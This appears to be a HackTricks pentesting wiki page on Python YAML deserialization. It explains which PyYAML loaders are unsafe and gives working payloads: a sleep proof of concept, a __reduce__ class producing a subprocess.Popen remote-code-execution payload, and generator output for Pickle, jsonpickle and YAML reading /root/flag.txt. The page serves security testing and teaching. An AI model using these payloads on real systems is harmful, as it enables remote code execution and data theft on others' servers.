hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md

# Python Yaml Deserialization

## Yaml **Deserialization**

**Yaml **python libraries is also capable to** serialize python objects** and not just raw data:

```
print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
 
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```

Check how the **tuple** isn’t a raw type of data and therefore it was **serialized**. And the same happened with the **range** (taken from the builtins).

![](<../../.gitbook/assets/image (628).png>)

**safe\_load()** or **safe\_load\_all()** uses SafeLoader and **don’t support class object deserialization**. Class object deserialization example:

```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```

The previous code used **unsafe\_load **to load the serialized python class. This is because in **version >= 5.1**, it doesn’t allow to **deserialize any serialized python class or class attribute**, with Loader not specified in load() or Loader=SafeLoader.

### Basic Exploit

Example on how to **execute a sleep**:

```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```

## RCE

Kindly note payload creation can be done with **any python YAML module (PyYAML or ruamel.yaml), in the same way**. The same payload can exploit both YAML module or any module based on PyYAML or ruamel.yaml

```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
    def __reduce__(self):
        return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```

### Tool to create Payloads

The tool [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) can be used to generate python deserialization payloads to abuse **Pickle, PyYAML, jsonpickle and ruamel.yaml:**

```bash
python3 peas.py     
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick 
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
  - cat
    - /root/flag.txt
```

## References

For more in depth information about this technique read: [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)